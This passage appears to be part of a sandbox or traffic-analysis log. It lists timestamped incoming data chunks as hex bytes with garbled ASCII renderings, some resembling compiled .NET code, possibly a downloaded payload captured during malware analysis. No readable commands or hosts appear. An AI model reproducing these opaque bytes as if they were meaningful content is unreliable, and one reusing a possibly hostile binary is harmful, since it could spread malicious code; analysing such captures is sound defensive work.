a1 af 69 2f 6a 9d Data Ascii: X7l\|oy}ws\|N4X4k)~y~g8T4}r^aKUEtg66oc=KwO}iu';x2( x!gL&!9lDbzo+#OYS#\I4~md1C9BMaU#zClCQZg5i/j
2022-02-01 01:06:35 UTC	214	IN	Data Raw: 72 8b 48 a4 cb d0 be dd 02 d9 b2 94 5b 56 20 b6 30 b9 4b c4 ce 45 d4 3f 6a c3 a1 35 ea 3a 11 1b 04 06 05 e0 6b 73 e0 79 ae 25 1f 4e 95 5f 0e 53 e4 e2 c8 ef 9e 03 3b 5a b7 44 32 ca ff 0a e0 cb bc 07 76 96 93 d2 82 e9 63 d9 15 2e 5d 2b 3d bb fe 67 11 a5 5a a9 0f 29 16 07 f6 95 9e 85 ba 93 be ff 85 4d ba c0 ef 80 ed c0 0a 62 c8 5f 9c 87 2e 13 cc c9 15 a5 6c dd bc 7e e8 59 8e 4d e6 39 42 58 ab a6 bc 17 7a c2 cc bb d0 d6 58 2f 79 26 ad ed 84 69 d6 c9 a2 a1 b4 27 8d 4d 20 d1 75 66 b1 a8 92 3f 54 83 ae ff 86 c4 8a d3 ac a6 d9 09 44 dc bf 90 03 75 a4 01 2c 46 5c c2 b0 97 90 c4 e4 f4 c7 b3 b4 aa d4 32 a1 97 9c f7 d2 01 b9 5d 1e ec e5 00 5f f8 c3 dc c8 a2 a1 70 39 b6 35 aa c3 ee eb b2 f7 87 cf 56 ab 70 a0 41 f5 c2 d8 09 4f d2 bd f2 a0 b4 04 fd 0b 90 b9 c2 27 91 5e Data Ascii: rH[V 0KE?j5:ksy%N_S;ZD2vc.]+=gZ)Mb_.l~YM9BXzX/y&i'M uf?TDu,F\2]_p95VpAO'^
2022-02-01 01:06:35 UTC	225	IN	Data Raw: a0 61 0c 26 a8 96 57 f4 1f 78 37 88 7e 5e 49 3c a6 83 03 e8 08 ef e0 40 ec 1f 8e 96 28 0a 58 04 18 ff 60 50 b9 ab 45 c0 35 b9 0b e4 5a 80 00 6f 58 f6 c4 fd 0b a1 94 70 77 7c c2 a3 8f 9f 70 31 b9 57 a4 70 29 c7 78 c5 c2 97 1e 1a 3c 15 6b da b5 71 81 b6 8c 60 29 0f 05 f4 f6 f3 52 68 df 68 f9 cd 86 4b ef 1e 60 77 40 4d 8e 3c a6 fb 41 bf 54 85 90 e7 ae 97 bd 24 d8 94 38 2d 67 0e ab c7 ab 3d 98 6e 26 cb a4 2d 52 7b 07 63 e8 cd f2 55 7d c0 50 80 60 07 14 db 44 9f 3d 17 4f 80 ed 1a 81 45 35 f9 62 c5 68 f1 2a a2 25 cd f8 f8 70 26 4a f1 37 69 38 49 17 3f 29 1d ac 98 c0 42 91 5e a7 00 8c 08 39 ed 8f ad 35 88 3e 51 45 dc a8 12 eb cb 01 dd 17 c6 52 80 c6 f6 dd a1 f5 83 dc 56 f0 8f 9b e4 4b 58 86 ec a8 29 75 8e 74 f9 1c a3 02 53 de c6 8c 5f 6d f8 e9 1b 82 df e8 a9 79 Data Ascii: a&Wx7~^I<@(X`PE5ZoXpw\|p1Wp)x<kq`)RhhK`w@M<AT$8-g=n&-R{cU}P`D=OE5bh*%p&J7i8I?)B^95>QERVKX)utS_my
2022-02-01 01:06:35 UTC	230	IN	Data Raw: b2 a2 26 45 ee 23 b0 21 2b 16 fe 91 d6 80 4f 6e 82 05 76 95 39 9e ec 7e aa f8 69 3c 04 62 d6 d3 8f e7 20 52 bc d8 ba bf 9c c3 d3 96 db 38 a2 0c fc 1f df f6 99 2f b6 3e 73 81 9d c2 4a 5e 60 fa 27 f4 c2 9a 8c 3e d5 a3 d2 96 7d 12 9f e8 c2 5a b6 27 82 ca cf 45 ef dd 21 fe ef 59 b0 88 4b 4d 75 dc 80 f7 d3 62 24 c2 75 70 bc 97 0a d7 34 57 9f d3 30 b8 ce b1 f6 1d fd a4 81 60 7d fc c4 cf 94 4a af 4a c8 7a 16 43 60 60 30 e9 94 b3 b4 73 91 20 2b 21 aa 25 cd 85 b4 a8 36 31 cc 83 88 60 50 b2 7c 82 44 5f b6 3b 36 22 4b 10 ce 87 56 ed 59 f0 26 0e c6 94 42 01 df 0e b6 2b c7 b2 8b df a0 86 c3 20 54 18 d6 22 b6 10 73 d1 48 72 52 10 45 18 2f d3 62 e8 9c ab 23 23 3c a3 bb de df c3 f9 a8 d2 be fb 58 ea 73 a8 eb 54 b3 be 32 1b db fd d4 96 5b 9e 1a 00 1c b0 03 e4 14 21 f7 4c Data Ascii: &E#!+Onv9~i<b R8/>sJ^`'>}Z'E!YKMub$up4W0`}JJzC``0s +!%61`P\|D_;6"KVY&B+ T"sHrRE/b##<XsT2[!L
2022-02-01 01:06:35 UTC	246	IN	Data Raw: 92 fc 25 fc 6e 04 4e 8b 48 61 94 b8 c5 c0 ce 40 0b f3 67 86 f1 f1 f2 a5 35 d7 84 b8 69 a6 19 d8 04 9d f4 29 e3 3b 6c 96 46 24 ee 42 ad b9 66 73 b3 bb 2e f5 ff 3a 8e c8 4e ad 69 69 f8 cb d1 b1 6a f5 fe 6e a4 1b fe dc 73 92 b6 e2 fe 30 94 de 87 d8 e8 2b a0 32 9a c1 0a 05 ab 5e e9 b8 9a 43 bc 75 82 50 1a 64 ad e4 d0 e0 fb ab e0 74 79 9c d6 f1 ec af 68 d5 32 c7 c6 4a 0c 91 2f db 8d 66 4e 51 f9 82 2a bb a4 5f 97 0d 44 a1 95 b2 ce db 2d 4b ec 2a b2 46 5f e5 86 e8 1c a1 73 a7 93 1e 07 23 ae 2e e2 79 14 27 a6 97 d5 fe 15 a5 12 47 9d 9a 50 a3 30 4e de 50 94 12 da 11 d4 8a 32 3f e6 5d 65 34 f4 81 93 59 4c 9c 3e 33 15 7c 64 78 41 71 d5 d9 c0 bd 26 74 20 20 37 43 7d ac c9 85 e9 7a 5b 4c 5c a8 d9 6f e0 1b 30 b2 7b 71 8a 7f 41 9e f9 31 ab 18 c7 18 d9 74 28 c8 2b 45 ac Data Ascii: %nNHa@g5i);lF$Bfs.:Niijns0+2^CuPdtyh2J/fNQ_D-KF_s#.y'GP0NP2?]e4YL>3\|dxAq&t 7C}z[L\o0{qA1t(+E
2022-02-01 01:06:35 UTC	257	IN	Data Raw: f4 52 e5 74 02 a0 60 f9 e5 cb 92 0e f6 29 21 5c 6c be f1 17 7a 69 e5 e5 96 bc 5b a7 b5 f3 a0 ce e1 8e c2 fa 54 a6 7e 94 7f ea 84 13 8a c3 f1 cb 87 10 ba 2a ac 78 f3 d9 2a a3 f8 72 f0 5e 65 5b 1d 2b 26 e8 6e 27 21 77 40 31 29 14 15 07 2f b8 98 fa 30 13 66 bf 31 b9 b7 e7 b6 59 e8 75 0c 65 ce 3d 03 e0 2a be 91 2f 30 49 91 9c 55 b7 4c 97 c6 49 f3 b6 80 7e 66 f8 4e 51 85 c3 ea 9b cb d7 fa 08 de 1b c9 4b 26 3d e6 cf 21 d2 2c 9c 7e fa 06 ca c1 95 28 09 7f 6d fa 29 06 97 fc b6 ef 8e 9a b0 17 a5 5b ec 19 75 ff 59 ea e3 fb db a8 95 e0 56 b5 bf 18 8b 3f ca 6a 87 6c 34 bd f9 07 2f 3a 24 23 e2 f0 66 5c 75 b9 54 cb ca bc 91 4a 8a 1e 1d e6 59 3e 09 60 cb 1c 38 c7 fb 9a b8 27 df e4 f1 99 da 48 a6 d8 ab 0b 0e 79 d1 74 b2 56 c3 cd 84 b9 af 5d cd 6b ff e9 53 84 c6 e4 2f d9 Data Ascii: Rt`)!\lzi[T~xr^e[+&n'!w@1)/0f1Yue=*/0IULI~fNQK&=!,~(m)[uYV?jl4/:$#f\uTJY>`8'HytV]kS/
2022-02-01 01:06:35 UTC	273	IN	Data Raw: 5a af aa 20 66 ad 82 62 43 bb e6 41 11 4e 08 5e 1c b1 79 33 ad 90 07 fd a7 f4 14 e5 3f 95 34 f3 25 7f 40 f1 e1 a1 43 3e 21 b5 b6 e3 f1 ed 5a 73 fe a9 45 35 4d 2d 7d 56 1f 73 cc 22 12 ac 23 53 4c aa b8 19 75 b4 e3 3f c6 41 16 6c e7 01 63 a4 7c d8 c9 fe f8 2f 5c d9 e0 b3 b8 8d 7e e7 fc 94 5f 2c 4f b7 b3 2f 61 04 e9 29 94 b5 0a dc a3 a1 54 16 32 d8 6a 33 91 f9 c6 df f8 8e d3 50 82 b7 45 88 68 33 54 99 f0 d4 81 44 2e 65 21 a1 37 21 2a df c5 fb 40 16 1b 06 6a c1 ba af 39 c9 e2 5e ad 93 d9 94 c9 2c bc e0 10 3d 23 84 9a 93 2a a2 59 b8 be 14 f9 e4 72 0a 07 3d fc 7c 7c 5a 5b 2a 1d 89 42 94 82 d1 af e4 34 53 09 b5 b0 c5 25 2e 07 38 84 8a df 06 65 a7 fc 89 99 07 c6 28 7f 3e 71 95 cb ca 79 b1 c4 29 64 cf fc bb f5 56 11 3c 66 1a 83 fc ee 97 4b 94 8c ae 78 ab 5c 98 e4 Data Ascii: Z fbCAN^y3?4%@C>!ZsE5M-}Vs"#SLu?Alc\|/\~_,O/a)T2j3PEh3TD.e!7!@j9^,=#Yr=\|\|Z[*B4S%.8e(>qy)dV<fKx\
2022-02-01 01:06:35 UTC	289	IN	Data Raw: d7 88 93 0e 12 ca 87 51 af 90 fa cd 2a 2d 74 1e d5 c9 c2 56 f2 ef f8 13 12 8e 40 d4 6e 61 62 09 c4 e6 af 44 84 ea f1 aa eb a4 c3 18 1b 45 3e c2 18 d3 40 6e d5 4a 48 87 81 05 3f 55 ca 04 72 6c f7 32 12 79 ce 7c fc ef bf aa b1 ea ca f4 33 c4 a9 f1 6a 48 75 06 06 ea 16 49 14 ac 24 a4 fb 90 5b 92 cb 3c a5 4b 78 13 74 79 b4 15 03 9f 87 2c b3 3e 92 45 cf 93 08 4a 7b d8 6c c9 93 4c 66 b0 93 9e da a4 1f e6 20 2d 0e 4b 68 03 3c 3e db 73 7f 2b 33 d8 0a 08 35 f7 d0 90 8b c6 7b 03 d2 0b d3 cc 2c 95 c9 69 a6 9f 60 27 7b 40 31 e4 4a 20 8b 1c 01 26 cd 9e 84 2f 50 2a cd f1 36 68 f3 45 50 f1 4d 83 38 a7 f0 e9 6a c2 e0 b7 38 7f 81 7f e2 c8 57 3c e7 80 e8 41 ea 31 2f 44 66 2f 46 d0 8f 58 43 98 d8 5d 39 25 ac f3 d0 54 55 8f fc dc 17 d0 b4 63 23 76 08 63 fc 1b 1a 8f 09 ea f1 Data Ascii: Q-tV@nabDE>@nJH?Url2y\|3jHuI$[<Kxty,>EJ{lLf -Kh<>s+35{,i`'{@1J &/P6hEPM8j8W<A1/Df/FXC]9%TUc#vc
2022-02-01 01:06:35 UTC	305	IN	Data Raw: 81 1b 16 e3 4f 27 78 9c fd 26 9b f8 2d 2f ce b5 9a 0f a5 05 fc cd c3 94 f4 72 85 23 05 bc 77 f9 d5 91 9a a2 be 3a 4b a5 bf 5d a5 6b e5 34 33 5a 8b 83 85 7c 8e e3 5b 96 fd 06 97 b3 e6 7b d1 6f 16 97 7f 3e b6 83 6b 78 2d 6d 1f 5f 66 a6 5f 02 1e ba 11 0a 96 e7 f4 31 f8 90 11 9b cd a2 03 63 94 c7 1b b0 12 1c a2 40 dd 77 d2 37 bb 5d 76 22 ce 62 e6 db 13 89 9a b9 cb a9 e5 77 d4 0e ec 08 03 ff d0 30 45 95 33 66 0a cc 12 60 12 cb fd b2 18 03 e8 a1 fe b1 8b e8 a5 05 25 b7 19 d1 4a 86 4a e0 1f ff 6c d3 28 5a 7d 16 58 c1 1c 66 bd 55 26 73 74 b9 47 c7 1c f5 c9 41 c2 45 ad 76 63 b1 8c ba 60 3c 8b b7 2c 9b c3 e7 56 c5 87 41 4e b9 07 a5 4d 1f d1 38 d6 60 f0 71 74 55 77 bc bb a2 89 25 c5 b8 5d 4e 10 c1 a7 ca 69 56 af d9 8f 5b d6 83 9d d5 8e bf 7f f1 60 59 4b 6c e1 14 ba Data Ascii: O'x&-/r#w:K]k43Z\|[{o>kx-m_f_1c@w7]v"bw0E3f`%JJl(Z}XfU&stGAEvc`<,VANM8`qtUw%]NiV[`YKl
2022-02-01 01:06:35 UTC	321	IN	Data Raw: 36 91 d2 54 b6 74 64 d6 83 fb ab f2 fd 15 46 5b c7 f9 0e 8f 0d 78 ae 16 83 b5 7c 7e b8 a4 e4 2d 73 b9 fa 29 d3 fd d2 41 ac ba c4 44 27 db ee 26 6a 8c 72 72 ec ad 0c 72 84 4b 7b e9 0c c9 e1 8e e0 a2 ae 82 31 2b 80 b2 0e 90 59 b8 ee f5 04 2e da f8 c5 27 80 b8 9a f8 f7 c5 d8 ba c8 c2 00 76 c9 07 99 7d a2 e8 4d a0 f9 19 f0 9c 97 8a f4 8c 6e 83 f2 c9 79 9b 05 7b d4 e6 f0 62 4d 9d 67 a2 d9 d7 35 aa cd 27 43 87 74 da 22 7b 23 84 99 80 e3 3f 80 ee 6a 88 96 3a fe e6 be 6e a6 3a 0b 9d a3 1a 5f ad 0e 4d a6 29 3a 7f 18 41 6a b4 34 4a 76 cb 75 cb 3a 96 09 21 d3 5c da 9f 8d f3 ea dd 23 7a c3 f5 00 b4 eb 71 77 1e a1 24 81 ed 85 69 70 50 80 f5 86 ef f8 d6 f2 f5 0c 2b c4 85 10 fc 51 61 2d 6d 08 fa 9e cc 94 0e 53 fe 79 d9 95 f7 7f c2 d2 7e 42 05 6c d3 1c 46 98 fd 31 89 7c Data Ascii: 6TtdF[x\|~-s)AD'&jrrrK{1+Y.'v}Mny{bMg5'Ct"{#?j:n:_M):Aj4Jvu:!\#zqw$ipP+Qa-mSy~BlF1\|
2022-02-01 01:06:35 UTC	337	IN	Data Raw: 27 38 1f 5a bc b6 74 50 db ea 5e 32 21 82 81 3c 94 cb 62 e0 96 ae e7 11 77 7a 99 ef 52 29 e4 0a a2 c9 83 9c a1 84 15 61 60 3a 46 09 16 e5 58 64 fd be 8b 64 7e 4b 51 5e 62 67 8f f3 36 8e e4 ab 1d 12 d4 52 3e ae 0d 0b 2a ff cb 4f ea 49 5a db d9 18 5e 6d f7 df a8 49 dc f8 6c 01 3c 9b a0 0b 4f e1 73 e6 36 40 06 1b 69 03 9a 07 42 b1 a9 da 67 c2 e0 c1 3f a6 97 07 c8 a5 58 c3 e3 8e 8a 9c 56 37 4b b4 9e 36 4d 37 56 af 26 eb c5 41 4b 0b 79 66 f3 0f 46 0b a3 4e 3b 85 12 8f 8e 4b b2 ab 6d c5 8d 98 17 5e 3b ae 59 87 87 bb d0 36 73 94 fc 4a 56 c6 92 ab 21 d0 cb 62 af 31 d7 bb 2d 38 40 4e 42 8a eb 1c dc 51 6a a9 58 34 57 df d4 70 ad f8 f1 ce 71 5b 69 8f 75 bf 26 7a 0e 78 7d 23 4c b0 3b ed 3a 4b 0f 65 bc c5 78 2c e0 75 9a b3 5f bf 17 ad 2f 41 04 a9 7c 8f 62 80 b7 29 d1 Data Ascii: '8ZtP^2!<bwzR)a`:FXdd~KQ^bg6R>*OIZ^mIl<Os6@iBg?XV7K6M7V&AKyfFN;Km^;Y6sJV!b1-8@NBQjX4Wpq[iu&zx}#L;:Kex,u_/A\|b)
2022-02-01 01:06:35 UTC	353	IN	Data Raw: 82 82 9b 03 92 a7 c4 48 22 91 cc cb 8c 45 9c 5a 42 bb 2f 44 86 4c fc 71 cd be 9b f0 99 4b 97 6b fc 28 a6 ea e8 b1 c4 6c 37 90 53 f9 41 85 fa 3a 17 d8 0f 89 b9 6d 70 b1 9a 42 89 0f e9 f2 7e 74 db 42 d6 1b bf 5a da a4 0b 21 ac 52 7a 68 24 18 95 10 ca e7 10 a9 a5 c9 79 a6 72 33 04 da ff 5f 52 52 e2 cd 19 a2 b9 fe f7 2c 99 2c ee 07 b4 1d 43 04 f5 a0 10 6f fd e7 14 07 09 f1 1c 2e 0e 55 18 3f 3d 09 f5 eb 88 03 65 c9 ea 81 41 90 75 6c d3 e9 09 7d 68 9e a3 06 39 64 55 29 20 c7 99 2e c8 87 84 70 79 be 78 71 ab ca c1 6c 3e 66 82 da cf 3c c3 b1 48 c9 68 d0 56 56 d9 a6 6c c7 4a 62 ae 60 66 e0 7e a1 76 e5 fa 15 00 77 a1 ab 8f 15 a5 06 a9 fb 59 4b e7 75 fb 67 37 b1 56 bc 37 cd 5b 45 71 c9 53 7d 44 a1 80 5d 93 cb 13 61 23 8e 4e dd c1 11 f7 e7 90 91 0d 32 d4 75 89 76 5d Data Ascii: H"EZB/DLqKk(l7SA:mpB~tBZ!Rzh$yr3_RR,,Co.U?=eAul}h9dU) .pyxql>f<HhVVlJb`f~vwYKug7V7[EqS}D]a#N2uv]
2022-02-01 01:06:35 UTC	369	IN	Data Raw: 96 b3 13 2e 27 40 39 c3 f2 ce d4 82 c1 61 47 06 48 26 ca 79 e4 a0 bc 4f d4 ad 68 ba 44 83 e8 aa 50 dd 2b 49 c0 0a e1 27 e7 b7 a8 ec 7b 52 39 2b 4b f4 e6 c6 bc ea 2d 0a 6f c2 18 05 7a 54 ef 39 42 2b 00 d3 e6 09 91 d6 29 d7 66 cd d8 fa 7f 1b 8b 4b 40 4c 3b 81 b4 c4 6a ed 8a 16 0b 1e a2 57 4d 1a 74 a9 f7 66 0a e4 e2 0b ad d6 72 1a e8 e9 91 37 db c2 d6 38 70 54 8a 79 9b 2b 49 d7 88 48 9d 2f 6e b7 d6 ef a7 ab 18 e9 55 f5 9c ec 1a fa 30 b3 08 8e 01 ba fd 9f 3b 86 3c 5e a1 f3 d6 54 ae ad fe 12 7b 38 a7 b4 44 cf 28 46 8e 6f fd c7 83 62 5b ac 92 06 9a be a8 25 41 f1 05 03 20 b0 a3 43 cb ec 87 e6 32 8d 30 24 d3 55 49 45 91 e1 ae 57 c3 78 27 bc 75 e4 49 00 0d 58 41 6c 93 67 b8 20 8c 85 00 ef 52 ca b2 d2 c9 ab c7 11 a2 53 20 04 0b 18 b2 19 f9 db 82 b3 59 c4 ce 6c e7 Data Ascii: .'@9aGH&yOhDP+I'{R9+K-ozT9B+)fK@L;jWMtfr78pTy+IH/nU0;<^T{8D(Fob[%A C20$UIEWx'uIXAlg RS Yl
2022-02-01 01:06:35 UTC	385	IN	Data Raw: 3d 0f 96 ec 44 31 aa 51 6d 90 b3 69 bc 4c f5 ca 7d cc be 72 fd 53 25 3d 0a 34 ee e7 32 a8 9d fd e0 35 06 6d 0e 74 88 e4 d2 09 81 b6 a4 17 47 2e 22 29 17 7b 77 e1 3d 41 74 b5 a8 ee c6 6a 7e b3 4e bb 0f 10 8b 6b 82 84 f5 d8 ae 4a a6 b3 fd 27 f0 78 d5 38 d9 08 83 45 cf aa e0 87 d9 a6 5b b1 5b a5 82 c5 38 57 b8 ce 55 cc 44 fd 70 ac cf 7d c9 6a 07 0c 1b a8 63 20 95 7f 93 b9 50 fb 15 27 27 a1 75 f6 5d 9f 5a 49 b8 e2 ba fb b6 bd 92 e2 27 4d ba e8 63 92 21 1e e1 6e c3 b0 10 10 bc bb e4 1e 02 52 5b 7e 47 c5 4f ca 4b 8e be 13 b2 83 e6 5b 1a 00 9f 15 57 69 9b 6b 53 39 20 66 e8 fa 5b 7f 00 a2 ca fc ea 0b 8b 51 22 91 c7 52 d9 fb 42 c6 80 e4 aa 0f a9 79 09 8e df e5 17 23 42 66 46 05 3c 2f 54 84 b8 ca 8c 09 2e 6c 80 ef a8 17 af d4 44 8e c7 d2 cc 35 29 a2 de 6b b8 b3 8b Data Ascii: =D1QmiL}rS%=425mtG."){w=Atj~NkJ'x8E[[8WUDp}jc P''u]ZI'Mc!nR[~GOK[WikS9 f[Q"RBy#BfF</T.lD5)k
2022-02-01 01:06:35 UTC	401	IN	Data Raw: 16 c2 16 30 62 d1 58 ae 08 5f ac 54 be 02 ca d0 34 ea fe 9b 00 78 4c ae 5d 6f 18 3b 55 4b 55 01 43 0b 50 79 3e 57 c7 8a 52 e2 99 79 b2 ba 73 6a 5c bd d0 70 be 92 e5 4a 03 b6 78 6e f4 5c 45 c4 33 b5 40 b8 63 be ce c1 44 ce b7 8d c7 96 dc 14 d1 a1 58 8b 5a e7 0b 9a 7e 8c 7a 57 77 f5 52 fd 83 13 45 62 1c da 5f 79 7b 6b de 09 8a 49 c9 cc 56 93 1e c1 3d 74 cd da a4 c6 bc 34 0b f9 a5 6d 73 81 b0 4c 93 a2 0b ac 64 75 6d eb b8 2a 9e 82 8f 71 59 44 bf 86 7a 9f 73 44 ae f2 bf 7f fc 77 8d 8e be f2 43 f4 86 62 2a d7 67 fb 4c a7 5e 08 77 8e e9 8b a7 f1 43 87 35 be 96 9e 72 3e cd ab f6 aa 4d d9 1b 7d f3 7a 53 95 4d f9 8d a4 e5 51 51 d3 7b 67 c3 70 67 f9 f2 89 b9 17 f5 83 c3 bd 57 c2 3b d3 ca 3e 3e 55 18 73 eb 4d 68 72 79 12 e9 cb 43 77 d5 cb cb c0 22 31 a3 bc e0 0e a8 Data Ascii: 0bX_T4xL]o;UKUCPy>WRysj\pJxn\E3@cDXZ~zWwREb_y{kIV=t4msLdumqYDzsDwCbgL^wC5r>M}zSMQQ{gpgW;>>UsMhryCw"1
2022-02-01 01:06:35 UTC	417	IN	Data Raw: f5 50 a8 14 1f 7f 4d 67 d3 db ef 0a ea 2b 90 d2 46 fb 12 3e 4d 3f 27 fb f8 93 39 dd 68 30 88 ba 05 a5 a1 b7 c9 98 fb ed 8f 50 87 7f 1c ec 8d b9 d9 9e ba 3b 47 dc 63 d4 68 38 6d 17 7b bb 09 43 65 96 8e c8 f6 aa 8a e1 86 1d 7b 6d eb 92 d7 33 a0 c7 b7 bd 59 eb 4e e3 83 7d 50 1b 7f 12 0b 5b 5c 0e 70 67 b0 40 6e a4 e5 13 0a 05 09 06 b4 cb b9 84 51 37 02 e3 13 dd d4 04 5f c3 d7 9a d0 83 20 20 97 0a e2 31 0b a2 b9 bd f7 c4 ad e5 4a 47 5c a5 74 ef ff e2 a2 17 fc f5 2e 84 5e 13 8d 78 4b 7e ca c5 a7 17 bc 67 a5 b5 c3 76 07 04 0d 64 f1 8b 9a 3e e9 46 fb fc 06 45 17 30 55 a7 81 c2 15 b5 b1 a3 92 b0 88 bf 78 db 80 bc 91 17 2f dd dc 0d 89 1c 17 e6 4f 2e 2d 7a 75 97 4e bc 9c d5 11 1b d0 9d f9 66 1b f6 80 d0 76 48 a7 d7 ec 62 25 d9 28 78 ec 82 26 d7 da f5 ff 70 69 fe 1e Data Ascii: PMg+F>M?'9h0P;Gch8m{Ce{m3YN}P[\pg@nQ7_ 1JG\t.^xK~gvd>FE0Ux/O.-zuNfvHb%(x&pi
2022-02-01 01:06:35 UTC	433	IN	Data Raw: 26 16 2d 15 07 06 26 06 00 05 fd 28 16 07 69 8e 05 16 05 26 26 2d 19 01 00 00 d7 8d 1a 26 06 00 05 fd 28 16 06 04 03 02 26 38 2d 19 01 00 00 d7 8d 5b 1a 04 7a 0a 00 00 cf 73 06 00 03 28 28 6e 01 75 16 20 10 31 10 1f 69 8e 05 07 2c 05 7a 0a 00 00 e0 73 06 00 03 28 28 6e 01 75 63 20 10 2f 1e 04 04 2d 5d 1a 04 09 30 69 8e 02 58 04 03 2a 01 2d 8e 02 04 2c 8e 02 11 00 00 f7 00 00 00 95 00 06 30 13 00 00 00 2a db 2b 26 d5 2b 26 d0 2b 26 09 2b 61 58 61 04 95 d4 61 6e 04 0e 6a 5f 19 05 05 0e 61 03 02 58 61 62 1a 04 64 19 26 23 2d 1c 17 03 61 62 18 26 29 2d 15 15 03 64 1b 26 2e 2c 16 19 04 00 00 00 00 00 00 00 3d 00 0a 30 03 00 00 00 2a ee 2b 26 03 2b 01 fe 16 06 00 05 f0 28 0a 00 02 50 7b 26 10 2d 17 18 02 00 00 00 00 00 00 00 19 00 0a 30 03 00 2a ec 2b 26 03 2b Data Ascii: &-&(i&&-&(&8-[zs((nu 1i,zs((nuc /-]0iX-,0+&+&+&+aXaanj_aXabd&#-ab&)-d&.,=0+&+(P{&-0+&+
2022-02-01 01:06:35 UTC	449	IN	Data Raw: ea 74 03 02 00 00 00 90 38 06 00 05 0b 28 d1 06 00 00 34 6f 02 00 00 0f 74 03 02 00 00 00 a7 38 06 00 05 0b 28 d1 06 00 06 0d 6f 02 00 00 ef 74 03 02 00 00 00 be 38 06 00 05 0b 28 d1 06 00 05 b1 6f 02 00 00 d5 74 03 02 00 00 00 d5 38 06 00 05 0b 28 06 00 05 0a 6f 02 00 00 b4 74 03 02 00 00 00 eb 38 06 00 05 0b 28 d1 06 00 02 c3 6f 02 00 00 51 74 03 02 00 00 01 02 38 06 00 05 0b 28 d1 06 00 04 60 6f 02 00 00 98 74 03 02 00 00 01 19 38 06 00 05 0b 28 d1 06 00 00 2a 6f 02 00 00 0b 74 03 02 00 00 01 30 38 06 00 05 0b 28 06 00 05 9b 6f 02 00 00 cf 74 03 02 f4 2b 06 00 05 0b 28 00 00 01 4d 38 26 26 07 2d 1c 0a 00 00 4f 28 06 00 03 69 6f 02 00 00 6f 74 03 02 00 00 01 62 38 83 2b 0a ff ff ff 7c 38 06 00 05 84 28 0d 2b 00 00 01 35 00 00 00 36 00 00 00 14 00 00 01 Data Ascii: t8(4ot8(ot8(ot8(ot8(oQt8(`ot8(*ot08(ot+(M8&&-O(iootb8+\|8(+56
2022-02-01 01:06:35 UTC	465	IN	Data Raw: 2b 04 00 02 0a 80 f3 2b 0a 00 01 b4 28 0e 2b 26 0a 2c 16 26 26 08 2d 17 04 00 02 b6 d0 25 01 00 00 12 8d 00 00 01 00 20 00 00 00 00 00 00 00 2a 00 09 30 03 00 00 2a 0a 00 01 fd 6f 7a 0a 00 00 25 73 26 f2 2b 26 ef 2b 26 e7 2b 26 09 2b 12 2d 25 26 0c 2d 18 1c 03 26 0f 2d 1a 1a 02 06 00 04 32 28 26 17 2d 19 15 02 00 00 00 00 00 00 00 32 00 0a 30 03 00 00 2a d3 2b 0a 00 01 fc 7d d2 2b 0a 00 01 fb 7d c0 2b 0a 00 01 fa 7d 15 2b 0a 00 01 f9 7d 17 02 0a 00 01 f8 7d 18 02 0a 00 01 f7 7d 50 1f 02 26 26 28 2d 15 20 1f 02 26 26 29 2d 17 a2 0a 00 01 f6 73 16 50 1f 50 1f 16 25 01 00 00 b4 8d 17 02 26 26 3b 2d 17 a2 0a 00 01 f6 73 16 20 1f 20 1f 16 25 01 00 00 b4 8d 17 02 0a 00 01 f5 28 02 00 00 00 00 00 00 00 6e 00 0a 30 03 00 2a 16 0a 00 00 00 2a 00 2b 04 00 02 09 7d Data Ascii: ++(+&,&&-% 0oz%s&+&+&+&+-%&-&-2(&-20+}+}+}+}}}P&&(- &&)-sPP%&&;-s %(n0*+}
2022-02-01 01:06:35 UTC	481	IN	Data Raw: 06 00 05 5b 73 09 1f ec 96 66 4b 20 02 04 00 01 3f 7d 06 00 05 5b 73 09 1f ae 02 d6 b1 20 02 04 00 01 67 7d 06 00 05 5b 73 1c b3 38 0a 07 20 02 04 00 00 f2 7d 06 00 05 5b 73 1d 2d 44 0c 10 20 02 04 00 01 27 7d 06 00 05 5b 73 09 1f a2 b1 18 5c 20 02 04 00 01 58 7d 06 00 05 5b 73 1c 86 29 8b c8 20 02 04 00 00 fd 7d 06 00 05 5b 73 1c ff 05 84 3d 20 02 04 00 01 95 7d 06 00 05 5b 73 1c f8 ab a9 e3 20 02 04 00 01 41 7d 06 00 05 5b 73 1c 00 fd c2 21 20 02 04 00 01 03 7d 06 00 05 5b 73 09 1f c7 33 44 06 20 02 04 00 01 43 7d 06 00 05 5b 73 09 1f be 7e 74 4a 20 02 04 00 01 04 7d 06 00 05 5b 73 1c cb ce 1e 25 20 02 04 00 01 5b 7d 06 00 05 5b 73 1c a8 1c 9e 43 20 02 04 00 01 b5 7d 06 00 05 5b 73 1c 3c db 52 d0 20 02 04 00 01 46 7d 06 00 05 5b 73 1c de ad 79 76 20 02 Data Ascii: [sfK ?}[s g}[s8 }[s-D '}[s\ X}[s) }[s= }[s A}[s! }[s3D C}[s~tJ }[s% [}[sC }[s<R F}[syv
2022-02-01 01:06:35 UTC	497	IN	Data Raw: 16 9c 00 00 00 dc 20 1d 06 9c 00 00 00 c3 20 1c 06 9c 5d 1f 1b 06 9c 00 00 00 f1 20 1a 06 9c 34 1f 19 06 9c 00 00 00 d0 20 18 06 9c 44 1f 17 06 9c 00 00 00 94 20 16 06 0a 01 00 00 12 8d 1e 04 13 79 1f 0b 16 07 13 69 8e 02 06 13 06 00 02 6b 73 09 26 5d 2d 1e 09 26 5f 2d 18 0a 00 01 83 28 05 11 26 66 2d 1b 06 00 03 28 28 6e 01 66 7a 20 11 00 00 93 00 00 00 c1 00 07 30 13 00 00 00 00 08 01 04 6e 00 96 00 02 01 00 00 6d 03 00 ee 15 00 d9 00 00 01 00 00 0e 05 00 d1 0a 00 c2 00 00 01 00 00 4a 05 00 cc 0a 00 c2 00 00 00 00 00 00 0a 00 75 19 00 5c 00 02 00 00 40 01 00 00 00 2a 0b 11 2a 09 dc 0a 00 00 30 28 06 11 00 00 00 08 dd 0a 00 01 82 6f 09 04 00 00 7f 7b 06 04 11 00 de 26 03 de 0d 0a 00 01 81 28 0c 11 0c 13 06 00 02 70 28 05 11 17 06 18 2c 08 00 de 0c 17 26 Data Ascii: ] 4 D yiks&]-&_-(&f-((nfz 0nmJu\@**0(o{&(p(,&
